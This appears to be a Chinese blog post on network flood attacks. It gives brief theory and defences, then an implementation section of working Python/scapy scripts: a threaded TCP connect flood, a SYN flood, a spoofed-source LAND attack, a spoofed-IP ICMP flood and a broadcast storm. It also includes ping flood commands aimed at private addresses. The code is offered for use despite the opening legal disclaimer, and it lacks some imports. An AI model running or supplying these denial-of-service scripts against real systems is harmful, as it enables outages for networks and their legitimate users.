泛洪攻击(Flood Attack)

执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。

"泛洪攻击"(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。

泛洪攻击的目的

泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。

泛洪攻击的常见类型

1. ICMP 泛洪攻击

攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping 命令实现)来消耗网络带宽和处理资源。

2. SYN 泛洪攻击

攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。

3. UDP 泛洪攻击

攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。

4. HTTP 泛洪攻击

攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。

泛洪攻击的防御

防御泛洪攻击通常涉及多种策略和工具的组合,例如:

  • 使用防火墙和 IDS(入侵检测系统)来检测并阻止异常流量。
  • 配置路由器和交换机以限制来自同一源的连接数或数据包率。
  • 使用 CDN(内容分发网络)或 DDoS 防护服务来分散攻击流量。
  • 实施负载均衡来分担服务器的负载。
  • 使用 Web 应用程序防火墙(WAF)来过滤恶意 HTTP 请求。

泛洪攻击的实现

1. socket, tcp三次握手
py 复制代码
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp

def socket_flood(ip, port):
    while True:
        s = socket.socket()
        s.connect((ip, port))
        
if __name__ == '__main__':
    ip = '192.168.110.130'
    port = 5000
    for i in range(500):
        threading.Thread(target=socket_flood, args=(ip, port)).start()
2. scapy, 半连接
py 复制代码
def scapy_flood(ip, port):
    while True:
        sport = random.randint(10000, 30000) # 随机源端口
        pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
3. scapy, TCP Land

将源ip伪造成与目标ip一样

py 复制代码
def tcp_land(ip, port):
    while True:
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
4. scapy, icmp 内网泛洪

伪造内网ip, 从ip层进行攻击, 不针对某一个端口

py 复制代码
def icmp_flood(ip):
    ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
    payload = 'abcdefghijkabc'*100
    while True:
        src_ip = random.choice(ip_list)
        pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100  # 100个数据包
        send(pkg, verbose=False)
5. scapy, icmp 内网广播风暴

在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.

支持广播的协议都可以做到, 比如UDP协议.

py 复制代码
def icmp_broadcast():
    payload = 'abcdefghijkabc'*100
    while True:
        pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
        send(pkg, verbose=False)
        
6. Linux 中的 ping 命令
6.1 ping -i -s

在linux系统中使用 ping 命令的 -i -s 参数:

-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)

-s 参数用于指定要发送的数据包的大小(字节为单位)

将每次ping的间隔设置到非常短, 比如1ms.

将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.

py 复制代码
ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节

在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.

6.2 ping -f

ping -f 被用于 "flood ping"。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。

py 复制代码
ping -f 192.168.110.129
相关推荐
砺星Leetx8 小时前
工业总线选型与对接实战:PROFINET、EtherCAT、EtherNet/IP、PROFIBUS、Modbus-TCP 与 CC-Link
网络·网络协议·tcp/ip·控制器·国产拧紧系统
流浪00116 小时前
计算机网络篇8:传输层——序列化与反序列化,TCP 面向字节流的报文边界由应用层自己切
网络协议·tcp/ip·计算机网络·1024程序员节·序列化反序列化·面向字节流·面向数据包
幻智星科技16 小时前
多通道数据采集中collect_end信号的妙用
网络协议·架构·udp·硬件架构
lazy H19 小时前
【计算机网络】第 5 篇:TCP 和 UDP 有什么区别?从 Java 后端场景理解两种传输协议
经验分享·后端·网络协议·tcp/ip·计算机网络·1024程序员节
byte轻骑兵1 天前
【LMP】规范精讲[8]: 主从易位——角色切换的时序反转与微微网重构
网络协议·安全·蓝牙协议·lmp·链接管理
Sirens.1 天前
网络通信基础:IP、端口、协议分层与数据封装
java·网络·网络协议·tcp/ip·java-ee·1024程序员节
qq_429432301 天前
叫班系统对接 IP-PBX/SIP 与排班系统:接口方式与部署选型要点
网络·网络协议·tcp/ip·信息与通信·ip·1024程序员节·voip通信协议
智慧光迅AINOPOL1 天前
园区全光网IP+POL架构怎么设计:组网拓扑与带宽演进
网络协议·tcp/ip·架构
必须得开心呀1 天前
iperf3服务端
网络协议
ITxiaobing20232 天前
IP 定位服务怎么选:没有“公认第一”,只有场景匹配
服务器·网络协议·tcp/ip